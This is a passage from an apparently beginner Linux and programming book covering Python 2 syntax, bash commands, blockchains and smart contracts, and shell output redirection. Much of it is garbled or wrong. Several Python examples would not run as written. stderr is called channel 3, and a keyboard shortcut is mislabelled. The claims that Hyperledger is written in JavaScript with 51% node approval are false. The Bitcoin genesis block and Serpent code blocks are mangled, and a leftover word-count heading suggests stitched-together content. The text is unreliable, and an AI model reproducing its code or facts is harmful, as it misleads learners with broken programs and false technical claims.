programmer—and a lot of people who have asked the same questions that you likely will have, which means that there are people who have already given answers out there, too.

More than that, Python is an immaculate and effective language. Many people who have worked with Python have grown to love it, myself included. When you know what you’re doing with programming, working with Python is pretty fun and fast experience. Many of the things that bog you down in other languages fail to exist or have a measurable impact in Python. We’re going through all of the stuff that we covered in the last reading in terms of Python.

If you’re running Linux, you should already have Python, simplifying the whole setup process quite a bit. You can test this out by opening up the Terminal and then typing `python` and pressing enter. If it launches Python, then you’re all set. If not, you’ll need to go to Python.org and get it, but this really shouldn’t be an issue on Linux distributions.

If it launches as anything other than Python 2.7.12, then you need to downgrade. There’s no reason for it to launch as Python 3 because the standard among Linux distributions is Python 2.7 as of the time of writing. However, it’s still a case of better safe than sorry. Python 2 and Python 3 are different beasts. The majority of the code that you can work within Python will be written in Python 2 because it’s been out for so much longer. Python 3 is still relatively bleeding edge software. Python 2 and Python 3 aren’t hugely different, but small differences make a big impact on your learning. If you ever need to learn Python 3, then the transition will be extremely easy to the point of being pretty much a non-factor, so don’t worry. We’re learning Python 2 simply because there’s a lot more software available for it, plus it should be the version already bundled with your Linux installation.

You launch Python files from the command line simply by typing `python filename.py`, where `filename.py` is, of course, the Python file in question. All Python files end in `.py`.

**Your First Program**

Python is much simpler than C++. There is no empty shell that we
need to work with. You need to start. Create a new file and save it so that you get syntax highlighting. Afterward, you need to type the following in it:

print "hello world\n."

Then save it and run it from the Terminal. It should print the following: hello-world

If it did, then congrats! Your first Python script has been written!

**Variables and Values**

Variables and values are far easier in Python. The types are pretty much the same, except that there isn’t much differentiation between chars and strings in Python. Most of the time, you’ll just be using strings. Create variables by simply naming them then assigning a value. Create a new file named whatever you like, then type the following:

bananas = 3

favorite fruit = "bananas,"

print "My favorite fruit is %s, and I have %d!" % (favoriteFruit, bananas)

Save it and then run it from Terminal. It should print:

My favorite fruit is bananas, and I have 3!

If so, then great. Everything is working just fine. What we just did there was called printing a formatted string. That’s actually a C skill and not a C++ skill. However, it’s the easiest way to print things in Python, so become familiar. The way it works should be fairly obvious given the context. Here are the different formatting types you will likely use:

%<s - strings

%d - integers

%f - floating points (use %#f for precision, e.g., %2f for two decimals)
%r - raw data, no extra formatting, mainly for debugging.

Data Sets

Every data set in Python is just a list. Lists are dynamic arrays, much like vectors and sets. Let's refer back to the student grades example. You can create an empty list, like so:

```
studentOneGrades = []
```

Or you can populate it with data from the start: `studentOneGrades = [99, 93, 97] # and so on...

In Python lists, you can also use more than one data type! This means you can have things like integers, strings, and even custom-made objects on the same list. For right now, stick to just having one, though—it keeps things neat.

You can add an item to a list using the append method:
```
studentOneGrades.append(95) # What a good grade!
```

Then you can remove an item by using the del keyword and referring to its index, which works the same way as C++ arrays do: `del studentOneGrades[3]`

If you remove something in the middle of a list, every list element in front of it moves back one index spot.

Comparison and Conditionals

These work almost the same as they do in C++. The only difference is the syntax of if, else if, and else statements. Here is a single statement involving all so that you can get a feel for the syntax:

```
if age >= 18:
    print "You are an adult!"
elif age < 18 and age >= 13:
    print "You are a teenager!"
else:
    print "You are a child!"
```
that *not*, *and*, and *or* are spelled out in Python.

# Also note the indentation and lack of braces. Whitespace **DOES** matter

# in Python.

**Loops**

# Note t

Python loops are actually incredibly straightforward. *While* loops function almost identically to their C++ counterpart, just with Pythonic syntax. Here is counting from 1 to 10 using a *while* loop:

```python
i = 1
while i <= 10:
    print(i)
i += 1
```

# note that increments by one and decrements by one don't exist in # Python. It would help if you used += or -=.

Meanwhile, *for* loops are relatively different. In C++ and Python alike, they're both used to iterate through something. However, the iterative purpose in Python is far clearer. To use a *for* loop in Python, you have to have a list for it to iterate through. The syntax for a Python *for* loop is like so:

```python
for iterator in list:
    do something
```

If you wanted to create a range from 1 to 10, though, you could do that. There's a range method in Python that will return a list of elements between two starting points (or starting from 0 if you don't specify a starting point.) Here is how one would count from 1 to 10 using a *for* loop:

```python
for i in range(1, 10):
    print(i)
```
An iterator variable aims to stand in for every object of a list throughout loops regardless of the type and take on the attributes of the current object in the list. This means that if you had a list of words, like so: `sentence = ["I," "like," "cats"]`, then you could print out each word, one line at a time, like so: for a word in a sentence:

```
print word
```

The iterator variable takes on whatever name you give and assumes it through the rest of the loop.

**Methods**

Python methods are rather simple. All that you do is use the `def` keyword, then set up a barebones version. Here's the `calculateSquareFootage` method set up as a Python method:

```
def calculateSquareFootage(l, w): return l * w
```

Then here is a call to that method:

```
print calculateSquareFootage(4,5) # would print 20
```

That sums up the largest parts of Python scripting.
Chapter Seven:

Shell Scripting

The shell is a command interpreter in an operating system like Unix or GNU.

Linux is a program that uses other programs. It provides a computer user interface to the Unix/GNU Linux system to use different commands or resources/tools with specific installation details. When the shell has finished making the program, it sends the output to the user on the screen, a standard output device. The shell is more than just interpreting a command. Its system's language has a complete language structure such as conditional performance, constraints, flexibility, tasks, and much more. That is why the Unix / GNU Linux shell is more powerful than the Windows shell.

Now, we may take a look at some of the most widely used open-source shells in Unix / GNU Linux.

Bash Shell

Bash represents Bourne Again Shell and is the default shell in most Linux distributions today. It also has an sh-associated shell and provides more efficient development over sh of the system and use that includes:

- Editing the command line
- Performance Management
- Unlimited size command history
- Shell Services & Nicknames
- Unlimited size Approximate layout
- Integer arithmetic on any basis from two to sixty-four

**Tesch / Csh shell**

Tesch developed with C-shell, can be used as a compatible login shell and Shell script command processor.

Tesch has the following features:

- C as syntax
- Command line editor
- Word and word file completion
- Spelling correction
- Performance management

**The Shell of Zsh**

Zsh is designed to work with and integrate many other Unix / GNU Linux shells, such as bash, tesh, and Ksh.

And a strong writing language like other shells available. Although it has some unique features that include:

- File name generation
- Getting started files
- Login / login
- Concluding ideas
- Conceptual guide
- Flexible index

**The Fish**

The fish is in full swing "friendly interactive shell" and was recorded in 2005. It was designed to be fully functional and easy to use, like other
shells, with excellent features including:

- Completion of personal page
- Web-based configuration
- Automatic suggestions
- Can be written entirely in clean scripts
- Term256 technology terminal support

**Basics of Shell**

There are three parts to commands that are entered on the shell prompt.

1. **Command that you want to run** options that will define the behaviour of the command

2. **Arguments, which are the command's targets**

The command basically defines the program that you want to execute. The options that follow the command can be none, one, or more. The options govern the behaviour of the command and define what the command will do. Options are usually used with one dash or two dashes. This is done so that we can differentiate options from arguments. Example: -a or --all

Arguments also follow the command on the command line and can be one or more like options. Arguments indicate the target on which a command is supposed to operate.

Let us take an example command `usermod -L John`.

The command in this example is **`usermod`**

The option is **-L**

The argument is **John**.

What this command does is locks the password of the user John on
the system.

To be effective with the command line's commands, a user needs to know what options can be used with a particular command. If you run the --help option with any command, you will get a set of options, which can be passed with that particular command. It's not necessary to know all the options that are to be used by all the commands by heart. The list will also tell you what each option does.

The use of statements can sometimes seem very difficult and complicated to read. Once you get used to certain conventions, reading the statement becomes much easier.

Options are surrounded by square brackets [ ]

If a command is followed by ... it specifies the arbitrary length list of items belonging to that type.

If there are multiple items and if the pipe separates them | it implies that you can specify only one of them

Variables are represented using text, which is in angle brackets < >. So if you see <filename>, you have to replace it with the filename you wish to pass.

For example, check the below command [student@desktop ~]$ date --help
date [OPTION]... [+FORMAT]

This indicates that the command date takes the options represented by [OPTION]... with another option [FORMAT], which will be prefixed with the + symbol.

**Executing Commands on the Bash Shell**

The Bourne Again Shell, known as bash, interprets commands input by the user on the shell prompt. We have already learned how the string you type in a shell prompt is divided into three parts, command, options, and arguments. Every word that you type into the shell is separated using blank space. The program that is already installed on the system is defined by every command that you type. Every
command has options and arguments associated with it.

When you have typed a command on the shell prompt and the options and arguments and are ready to run it, you can press the Enter key on the keyboard, which will execute that command. You will then see the output of that command displayed on the terminal. When the output completes, you will be presented with the shell prompt again, which is an indication that the previous command has been executed successfully. If you wish to type more than one command on a single line, you can use a semicolon to separate the commands.

Let us go through some simple commands used on a daily routine on the command line in Red Hat Enterprise Linux 7 and other Linux based operating systems.

**Date** command shows the date and the time of the system. You can also use this command to set the time of the system. If you pass an argument with the + sign for the date command, it indicates the format in which you want the date to be displayed on the output.

```
[student@desktop ~]$ date
Sat Aug 5 08:15:30 GMT 2019
[student@desktop ~]$ date +%R 08:15
[student@desktop ~]$ date +%x 08/05/2019
```

**Passwd** is used to change the password. However, you will need to specify the original password for the given user before you can set a new password. The command requires you to specify a strong password, making it necessary to include letters belonging to lowercase and uppercase, numbers, and symbols. You also need to ensure that the password being specified is not a word in the dictionary. The root user has the option to change the password of any other user on the system.

```
[student@desktop ~]$ passwd
Changing password for user students. Changing password for students.
```
(current) UNIX password: type old password here New password: Specify new password here Retype new password: Type new password again

passwd: all authentication tokens updated successfully.

File types and extensions are not specified in a Linux operating system. The `file` command can scan any file and tell you the kind of file it is. The file you want to classify needs to be passed as an argument to the file command.

```
[student@desktop ~]$ file /etc/passwd
/etc/passwd: ASCII text
```

If you pass a folder/directory as an argument to the file command, it will tell you that it is a directory.

```
[student@desktop ~]$ file /home
/home: directory
```

The next set of commands are `head` and `tail`, which print the first ten lines and the last ten lines of a file. Both these commands can be combined with the option `-n`, which can be used to specify the number of lines you want to display.

```
[student@desktop ~]$ head /etc/passwd
This will print the first 10 lines that are there in the passwd file.
[student@desktop ~]$ tail -n /etc/passwd
This will print the last 3 lines that are there in the passwd file.
```

The `wc` command is used to count lines, words, and characters in a file that is passed as an argument. It supports options such as `-l`, `-w`, `-c`, which stands for lines, words, and characters, respectively.

```
[student@desktop ~]$ wc /etc/passwd
30 75 2009 /etc/passwd
```

This shows that there are 30 lines, 75 words, and 2009 characters in
the file passwd.

If you pass the -l, -c, -w options along with the wc command, it will only display the count of lines, words, or characters based on, which option you have passed.

The history command displays all the commands that you have typed previously along with the command number. You can use ! mark along with the command number to expand what was typed in that command along with the output.

[student@desktop ~]$ history 1 clear
2 who
3 pwd
[student@desktop ~]$ !3
/home/student

This shows that we used !3 to expand the pwd command, which shows the present working directory for which the output was /home/student, which was the student user's home directory.

You may use arrow keys to navigate through the output given by the history command. Up Arrow will take you to the commands on top, and Down Arrow will take you to the commands below. Using the Right Arrow and the Left Arrow keys, you can move on the current command and edit it.

Shortcuts to Edit the Command Line

There is an editing feature available on the command line in bash when you are interacting with bash. This helps you move around the current command that you are typing to make edits. We have already seen how we can use the arrow keys with the history command to move through commands. The following list will help you use edits when you are working on a particular command.

Ctrl+a This will take your cursor to the start of the command line.
Ctrl+e This will take your cursor to the start of the command line.
Ctrl+u Clear the line from where the cursor is to the start of the command line.

Ctrl+k Clear the line from where the cursor is to the end of the command line.

Ctrl+Left Arrow Take the cursor to the start of the previous word.

Ctrl+Right Arrow Take the cursor to the start of the next word.

Ctrl+r Search for patterns in the history list of commands used.
Chapter Eight:

Blockchains

Blockchain and Linux seem to be made for each other. Together, they make the fight against the repeal of net neutrality stronger. They present a paradigm of decentralization and enabling anyone to write and implement code. They really are a match made in computer heaven.

Hyperledger

The Linux Foundation is behind the creation of Hyperledger, a massive blockchain enterprise that helps businesses implement blockchain technology in their corporate infrastructures. The Linux Foundation announced its creation in December 2015, and in February 2016, announced its charter members. The goal of Hyperledger is to improve accountability and transparency in businesses through blockchain. Technological giants, such as IBM and Intel, have gotten behind the project and contributed to its core software.

Private blockchains are controversial because they enable centralization. However, Hyperledger uses private blockchains, but they are not concentrated within any one business. For example, a bank that is part of the Hyperledger consortium does not get its own blockchain; it becomes part of a larger blockchain that encompasses multiple industries. Other companies are part of the verification process and provide data immutability adds a layer of accountability onto the private blockchain. It doesn’t become completely decentralized, but it is a few steps removed from complete centralization.

There are multiple Hyperledger blockchains and blockchain frameworks. For example, Hyperledger Fabric is a blockchain
framework that enables companies to create decentralized applications, some of which their customers and clients can access from the front end. People can use it to create and execute smart contracts, thereby automating many of its processes.

Hyperledger has been used across many different industries. It is used to track supply-chain shipping, meaning that it tracks the goods’ transit routes that people eventually consume. Say that parents purchase a can of formula for their infant, and that batch is later found to have been contaminated. The parents will immediately want to know that they can either not feed it to their baby or get their baby immediate medical treatment. Traditional technologies would alert them if there were found to be a problem. The use of Hyperledger enables them to scan the can of formula to track its entire transit route before buying it. It has also been used in maintaining health records and health insurance. It could be used to track things like car ownership so that people who buy used cars can find out exactly what the car in question has been through. The use of Hyperledger means that customers can be more confident in their purchases and the companies that they support.

The Hyperledger is open source, so anyone can access the source code and make improvements to it in theory. Of course, those improvements must be approved by a 51% majority of nodes. Hyperledger is written primarily in JavaScript. Any changes made will need to be either in JavaScript or compiled from a different programming language (like Python or C++) into JavaScript.

**Become a Blockchain Node**

Becoming a node on Hyperledger requires permission. That isn't likely to be granted unless you have high-level access inside a company that uses it. However, you can still set up your Linux computer to become a node on a public blockchain like Bitcoin, Ethereum, Blockstack, or Lisk.

The first thing that you will need to do is decide which blockchain that you want to support. Different blockchains provide different benefits to nodes; for example, operators of Bitcoin nodes access the highest
security wallets. Operating a node is not the same as operating a mine, so that you won't get paid in cryptocurrency for your efforts. It really is a voluntary commitment that may give you some paybacks.

Turning your computer into a node is a huge commitment that will benefit the blockchain community by dedication to your own resources. The second thing that you will need to do is make sure that your computer has enough memory on its hard drive to store the blockchain.

Blockchains are huge, and as of the beginning of 2018, they can be as large as 50GB. Make sure that your computer has enough memory to accommodate the blockchain that you want to support.

The third thing that you will need to do is look closely at the blockchain's core infrastructure that you want to support. While the blockchain itself is not complicated, the core infrastructure may be. For example, the Bitcoin Core is not particularly user friendly, and it may scare off potential new users. Make sure that you are up for the challenge, and if there is something about the core that you don’t understand, find the answer.

You will want to keep a few other things in mind before turning your Linux computer into a node. One is that it will use a lot of Internet bandwidth (20GB a day). If you don’t have an unlimited Internet plan, this could impede your ability to access the Internet for other things, like watching television or doing research for school. You will need to keep in mind that this computer will use up quite a bit of electricity. It won't use as much as a mine, but it will need to be running at full power six days a week. Finally, you need to be aware that running as a node will use a lot of your computer's resources. As a result, you may not be able to use your computer for other activities. The best course of action would be to use an older computer that you no longer use and connect it to free energy supply (like solar). Doing so will enable you to contribute to your favorite blockchain community with the least drain on your own resources.

Once you have completed all of the above steps and know what operating a node entails, you need to download the core. If you are
downloading Ethereum or a blockchain like it, you may need to download the specialized browser (like Mist) on which the blockchain runs. Be aware that because the core is such a large file, it can take a few hours and possibly even a few days to download completely. You may need to grant permission for the core to access the Internet; it is perfectly safe to do so.

Once the core is downloaded, you need to restart your computer. This will allow the core to integrate into your computer's resources and operate fully. Next, go to your Linux system's settings and enable the core to begin running whenever you start the computer. This process may vary depending on which Linux distribution you are using.

You will need to take care of the computer to ensure that it runs smoothly and carries out its functions as a node as best as possible. Linux operating systems are not nearly as prone to viruses and other forms of malware as are other operating systems, so the risk of one impacting your ability to run as a node is pretty small. Still, you want to do a periodic check and restart your computer every few days.

Make sure that you are taking advantage of the benefits provided by running a node. And pat yourself on the back for helping blockchains remain strong and decentralized.

**Become a Blockchain Miner**

You can absolutely use a Linux OS to become a blockchain miner. Being a miner means that you will earn virtual currency as a reward for your efforts! Before you get started, you need to decide which blockchain you want to mine for. Some of the most popular blockchains, especially Bitcoin and Ethereum, are so large that miners have to invest in expensive technology and continually upgrade their systems to remain competitive. Mining for them may not be profitable at all. Other blockchains, like DarkCoin and Lisk have a hierarchy to determine who can mine. Do some research to decide which blockchain is the best one for you to mine for.

Keep in mind that mining is very energy-intensive. Many people find that it is not profitable because their electric bills are so high. Before you start mining, make sure that you have a steady supply of cheap
energy (such as solar) so that this doesn't happen. In addition to the cost of running your computer on high all the time, you will need to keep the computer cool, as mines frequently overheat. This can also contribute to a high electric bill.

This section will only focus on the software that you need to turn your computer into a mine. There is a lot of hardware that may be required to mine efficiently but beyond the scope of this section.

Some blockchains have software specifically for Linux users to make mining easier and more profitable. For example, Cgminer makes mining Bitcoin on Ubuntu much easier. Do some research and find out if the Linux distribution that you use has specialized mining software.

Download the necessary software to your computer. Keep in mind that tablets and even laptops aren't great for mining unless the blockchain is relatively small (like Dogecoin or another altcoin). Also, keep in mind that many programs run better with Linux if you download the source code and then compile it. Doing this will actually enable you to make changes to the source code and make the software run even better!

You will also need to download the blockchain's core, just as if you were trying to turn your computer into a blockchain node. Once you have all of the necessary hardware, you can begin running the mining software and earning virtual currency!

Similarly to operating a node, your mining computer may drain so many resources that you cannot use it for much else. Unless you decide to build your own mine (a venture that some hard-core blockchain techies set out to do), you are probably best off using an older computer that you no longer use. Also, a mine will use a lot of energy and memory, so make sure that you have an ample supply of both. If you cannot dedicate the necessary resources to running your own mine, consider joining a Linux-based mining pool. A mining pool is a group of miners who combine their computers' energy to mine more efficiently. They then split the profits.

Linux and the Internet of Things (500 words)
With the rise of IOTA as the next generation in blockchain technology, plenty needs to be said about Linux and the Internet of Things. Linux is actually the key component that makes the Internet of Things possible. Many of the gadgets that are a part of it are equipped with a postage-sized chip that uses Linux to connect to the Internet.

Linux's free distributions are behind many of the gadgets on the Internet of Things. Imagine that you are an entrepreneur with a great idea for programming a washing machine to operate remotely. That way, people can time their laundry loads so that they are finished just as they get home from work. You could go through all of the hassles of building a brand new network with your own technology that allows the washing machine to connect to the Internet and then to the user's smartphone. Or you could take an operating system that is already free and open-source and use that to program your washing machine. Without Linux, the creation of gadgets on the Internet of Things would be so high that it would be prohibitive. By the way, if you are using an Android phone to access your smart devices, you are using Linux because most Androids run on Linux.

Consider another important aspect of the Internet of Things: the Cloud. Your computer may have a minimal amount of memory and storage. Still, you can use it to access orders of magnitude of more memory through the Cloud. The Cloud is a critical part of the Internet of Things' infrastructure, as it enables higher levels of access and power. The Cloud is also powered by Linux, which enables it to be integrated into the Internet of Things ecosystem.

The tangle, the third-generation blockchain technology, is essentially a feature of Linux. It can run on pretty much any operating system. Still, Linux makes up the bulk of the computational power of the Internet of Things. Without it, the tangle would be nothing more than a super-rich side interest which has nothing better to do with their time.

The real question is, why does all of this matter? It matters because Linux is powering the next generation of the Internet. Becoming a Linux programmer can put you on the cutting edge of these developments. It can even put you into a position in which you can make a lot of money.
You learned about Linux's relationship with blockchain technology and the growing Internet of Things. You are probably now seeing how crucial Linux is to developing the advanced gadgetry that makes many aspects of our lives easier.

**Build a Blockchain with Linux**

Before you start building a blockchain, you need to know what it will be used for. The most successful businesses (and yes, blockchains are essentially businesses) are those that can meet a real and felt need that people already have. What needs to you recognize that can be met through the use of blockchain? Use that to build your vision as you move forward in creating a blockchain.

This part will not explore some of the more community-oriented aspects of building a blockchain, like getting people to use their computers as nodes and bringing together a decentralization movement. Instead, it will give you tips and tricks on how to build the actual program.

**Back-End Blockchain Applications**

Python is a programming language that is used to build the back end of an application. It sets the parameters and builds the ecosystem with which users will interact rather than create the graphics that make a program visually attractive. When you set out to build a blockchain, you will be building the back end application. To illustrate what is meant by this, consider the code used for the genesis block of the Bitcoin blockchain:

```python
GetHash() =
0x00000000019d6689c085ac165831e934ff763ae46a2a6c172b3f1b6

hashMerkleRoot =
0x4a5e1e4baab89f3a32518a88c31be87f618f76673e2cc77ab2127b7af
txNew.vin[0].scriptSig = 4866047994
0x736b6e616220726f62074756f6c6962220646e6f636573206666
txNew.vout[0].nValue = 5000000000 txNew.vout[0].scriptPubKey =
```
This code is written in C++, and you can certainly replicate the code (probably with minor changes to best suit your goals) in the process of creating your own blockchain. The best way to do this is on the Linux terminal or whatever text editor you prefer to use. You can also write your genesis block code in another programming language, like Python. You can create a basic genesis block with Python using the following code:

class Block:

def __init__(self, index, previousHash, timestamp, data, currentHash):

    self.index = index
    self.previousHash = previousHash
    self.timestamp = timestamp
    self.data = data
    self.currentHash = currentHash

def getGenesisBlock():
The aforementioned codes for building genesis blocks are quite basic. They are certainly more intensive than the "Hello, Python!" program, and they are a good place to learn as you cut your teeth with building blockchains on Linux. Once you are comfortable with blockchain programming, you can move on to more complicated programs, similar to Lisk and Blockstack. Just make sure that your vision is big enough to match your programming skills!

Once you have your code written, you will need to compile it to run on your Linux platform. You may need to make tweaks and changes along the way to work exactly how you want it to.

Many blockchains today incorporate smart contracts. Serpent is a programming language that was designed to be extremely similar to Python; it can be used to write a smart contract with the following code:

```serpent
$ serpent compile_to_lll mul2.sc (return 0
(lll
(with 'funid
(div (calldataload 0)
26959946667150639794667015087019630673637144422540 )
(unless (iszero (eq (get '__funid) 4008276486)) (seq
(set 'x (calldataload 4))
(seq
(set '_temp_521 (mul (get 'x) 2)) (return (ref '_temp_521) 32)
})
```
You will probably want to tweak the code so that the smart contract can carry out specialized features, be they financial transactions, voting, or anything else. If you are building the blockchain using Python, C++, or any programming language other than Serpent, you will need to compile the codes to be compatible.

Following the genesis block, you can make changes to the code, provided you have a 51% consensus. As long as you are the only person running the blockchain, that consensus should be pretty easy to come by! Keep working on developing the code so that the program can carry out more and more complex tasks. You may even develop it to be as complex as Ethereum! Once your blockchain is functional, you can upload it to GitHub or another forum so that other people can download it. You may want to consider uploading it as a .tar file so that people can download the source code rather than the binary program.

Keep in mind that a blockchain is nothing more than a digital ledger of transactions at its heart. It is not the graphics and web pages that you can access through platforms like Ethereum; those are only secondary. The next section will look at how to use Linux to build a blockchain application’s front end.

**Front-End Blockchain Applications**

Once your blockchain is running well on the back end, you are ready to start building front-end applications for it. The front end is the interface that the users will interact with when they are actually using the applications.

Python is ideal for building the back end of applications, but it isn't
quite adept at the front end. Many programmers agree that JavaScript is the way to go. Probably the best way to get started is to use JavaScript to create a module that you will call upon in your Python code.

Using JavaScript going on your computer is somewhat different than Python. To get started with JavaScript on your Linux script, the first thing that you will need to do is download the JavaScript client. This will allow you to write JavaScript code on your Linux terminal. You will also need to download a JavaScript engine, such as Rhino, to execute the code that you will write.

The focus here is on helping you learn how to use Linux to create a blockchain.

**Using Linux to Build a Dapp**

Recall that a dapp is a decentralized application. It is what networks like Ethereum and Lisk are designed to run. Linux and dapps are so intertwined that many experts recommend using Ubuntu or another Linux distribution to build one!

Before you start building a dapp for Ethereum, you need to be aware that it has its own programming languages — most notably Solidity — that work best with its interface. Solidity is very similar to JavaScript, so once you have gotten your feet wet with the latter, you should easily get started with the former.

You can use the Linux command line terminal to connect with the Ethereum Virtual Machine (the world computer that powers Ethereum) and build your dapp. You can also download the Ethereum client that will allow you to program in your language of choice. This section will take you through the process of building a dapp by downloading the client.

You will probably want to download the Solidity client if you want to write your code directly into Solidity. Otherwise, you will need a compiler to translate your code into Solidity. You will also need to download SOLC, the compiler for Solidity, that will allow you to execute the program. You can get both of them on GitHub or the main
Ethereum website.

The back end of your dapp will be your smart contracts, so to start programming your dapp, you will need to build your basic smart contract. A basic smart contract in Solidity looks like this:

```solidity
pragma solidity ^0.4.0;
contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public constant returns (uint) {
        return storedData;
    }
}
```

The smart contract’s first line just says that the code was written for Solidity 4.0 or greater. The word “pragma” tells the compiler how the source code should be treated. A “uint” is an unsigned integer of 256 bits; in other words, it cannot be a negative number, but it can be a positive number that is up to twice as large as its signed integer counterpart.

The second and third lines say that the code is for a smart contract that will perform the simple storage of data. In the fourth and fifth lines, a function is being built for the variable x, a uint. X will be used to store the data in the smart contract.

This is a fundamental contract that sets a value for a number that is publicly accessible. Your smart contracts will probably be much more complex so that they can carry out real-world functions and solve actual problems.

Use either your Linux terminal or your Solidity client to execute the smart contract. (You want to make sure that it functions exactly how you anticipated, so plan to spend some time making tweaks and changes to it.) There should be an icon in the terminal marked "New
Transaction." Click on it so that you can use your smart contract to complete a transaction

Before you can successfully execute smart contracts within the Ethereum ecosystem, you will need Ether. You can either buy Ether (with Bitcoins or fiat money), or you can mine it. To mine it, find the toolbar and click on "Mine." Under "Debug," click on "Force Mining." Your computer will become a mine, at least short term. At the same time, you accrue enough Ether to begin executing your dapp's smart contracts. When you have enough, click "Stop Mining."

When you have enough Ether and are satisfied with how your smart contract is executing, go back to "New Transaction" and copy and paste the code for your smart contract into the text box. Leave the other fields at their default value since you aren't trying to carry out a transaction in which you send someone else Ether.

If there is an error in how you compiled the code, the built-in debugger will automatically tell you where that error is. If it is compiled correctly, you will see an option at the bottom with the possible transactions that your smart contract can execute. Congratulations!! You can now mine a block and officially make your smart contract part of the Ethereum blockchain.
Chapter Nine:

Managing Text Files

We will also learn how to redirect the output from one text file to another text file. We will learn to edit existing text files on the command shell prompt using a 'Vim.'

Redirecting the Output from a File to another File or Program

This section will discuss terms such as standard input, standard output, and standard error. We will further learn how to redirect outputs from a file to another file and redirect the output from a file to another program.

Standard Input, Standard Output, and Standard Error

When a program or a process is in a running state, it will take inputs from somewhere and then write the output to a file or display it on the screen. When you are using a terminal on the Linux operating system, the input is usually taken from the keyboard. The output is sent to be displayed on the screen.

A process uses some channels known as file descriptors, which take some input and send some output. There are at least three file descriptors in every process.

1. Standard Input, also known as Channel 0, which takes inputs from the keyboard

2. Standard Output, also known as Channel 1, which sends outputs to the screen

3. Standard error, also known as Channel 3, which sends error messages
Let us go through the channel names for file descriptors.

<table>
<thead>
<tr>
<th>Number</th>
<th>Channel Name</th>
<th>Description</th>
<th>Default Connection</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>stdin</td>
<td>Standard</td>
<td>Keyboard</td>
<td>Read only</td>
</tr>
<tr>
<td></td>
<td>input</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>stdout</td>
<td>Standard output</td>
<td>Terminal</td>
<td>Write only</td>
</tr>
<tr>
<td>2</td>
<td>stderr</td>
<td>Standard error</td>
<td>Terminal</td>
<td>Write only</td>
</tr>
<tr>
<td>3</td>
<td>filename</td>
<td>Other files</td>
<td>None</td>
<td>Read and/or Write</td>
</tr>
</tbody>
</table>

Redirecting Output to a File

The input/output redirection is used to replace default output destinations with file names or other devices. The output of a command, which usually is redirected to be displayed on the terminal screen, can be redirected to a file or a device or discarded with redirection.

When you redirect the standard output `stdout`, it will not appear as an output on the terminal screen. This does not mean that error messages `stderr` will not appear on the screen if you only redirect standard output `stdout`. If you redirect the standard output to a file that does not exist, it will get created in the process. If the file already exists and you use a redirect that is not an append redirect, the
existing file will be overwritten. Redirecting the standard output to
/dev/null will discard the output as redirected to an empty file.

Let us go through the output operators that are used for redirection.

>file
This will redirect the standard output stdout to the file and overwrite
any previous content.

>>file
This will redirect the standard output stdout to the file and append any
previous content in the file.

2>file
This will redirect the standard error stderr to the file and overwrite
any previous content. 2>/dev/null

This will discard the standard error stderr by redirecting it to
/dev/null

>file 2>&1 &>file
This will redirect the standard output stdout and standard error stderr
to overwrite the same file

>>file 2>&1 &>>file
This will redirect the standard output stdout and standard error stderr
to append to the same file

**Note:** The operator's order is significant, as changing the order can
lead to a complete change in the redirection.

For example, >file 2>&1 will redirect the standard output stdout to the
file and then redirect the standard error stderr to the same file.

If you change the order to 2>&1 >file, it will redirect the standard error
to the default output place, the terminal screen, and only redirect the
standard output to the file.

Because of this confusion, many users prefer using the alternative
operators `&> file` and `&>> file` for, which merge standard output and
standard error and then redirect them to the file.

Let us quickly go through some examples to understand output redirection better. There are many day to day system administration tasks that can be performed using output redirection.

1. Saving the timestamp in a file for future reference

   ```bash
   [student@desktop ~]$ date > ~/time
   ```

   This will output the current timestamp and redirect it to the file
   named time in the student's home directory.

2. Copy the last a hundred lines from a log file and save it in another file

   ```bash
   [student@desktop ~]$ tail -n 100 /var/log/messages > ~/logs
   ```

   This will copy the last hundred lines from the messages log file and
   save it in the student's home directory log file.

3. Concatenation contents of 3 files into a single file

   ```bash
   [student@desktop ~]$ cat file1 file2 file3 > ~/OneFile
   ```

   This will concatenate contents of file1, file2, and file3 and save it in a
   single file called OneFile in the user's home directory.

4. List the hidden directories in the home directory and save the file
   names in a file

   ```bash
   [student@desktop ~]$ ls -a > ~/hiddenfiles
   ```

   This will list the hidden directories in the user's home directory and
   save the directory names in the file called hiddenfiles in the user's
   home directory.

5. Append the out of an echo command to an existing file

   ```bash
   [student@desktop ~]$ echo "Hello World" >> ~/file
   ```

   This will append the string Hello World to the file in the user's home
directory.
on the terminal one screen at a time because of the less command.

```
@student@desktop ~]$ ls | wc -l
```

This command will pass the output through the pipe, and the `wc -l` command will count the number of lines in the output and display the number of lines and not the actual output of the `ls` command.

**Pipelines, Redirections, and the Tee command**

As already discussed, when you are using the pipeline, the pipeline makes sure that all the data is processed and passed through every command. Only the final output is displayed on the terminal screen. This means that if you were to use output redirection before a pipeline, the output would be redirected to the file and not to the next command in the pipeline.

```
@student@desktop ~]$ ls > ~/file | less
```

In this example, the `ls` command's output was redirected to the file in the student's home directory and never passed to the `less` command. The final output never appeared on the terminal screen.

This is exactly where the `tee` command comes into the picture to help you work around such scenarios. If you are using a pipeline and use the `tee` command in it, `tee` will copy its standard input to standard output and, at the same time, will also redirect the standard output to the specified files named as arguments to the command. If you visualize data as water flowing through a pipe, `tee` command will be the T joint of that data, which will direct the output in two directions.

Let us go through some examples, which will help us understand how to use the `tee` command with pipelines.

```
@student@desktop ~]$ ls -l | tee ~/Documents/output | less
```

Using `tee` in this pipeline firstly redirects the `ls` command's output to the file at `Documents/output` in the student's home directory. After that, it also feeds the `ls` command to the pipe as input to the `less` command, which is then displayed on the terminal screen.

```
@student@desktop ~]$ ls -l | less | tee ~/Documents/output
```
In this case, we see that `tee` is used at the end of the command. This does it displays the output of the commands in the pipeline on the terminal screen and saves the same output to the file at Documents/output in the student's home directory.

Note: You can redirect standard error while using the pipe, but you will not be able to use the merging operators `&>` and `&>>`

Therefore, if you wish to redirect both standard output and standard error while using the pipe, you will have to use it in the following manner.

```
[student@desktop ~]$ find -name /passwd 2>&1 | less
```

**Using the Shell Prompt to Edit Text Files**

This section will learn how to use the shell prompt to create new files and edit existing files. We will also learn about `Vim`, a trendy editor used to edit files from the shell prompt.

**Using Vim to edit files**

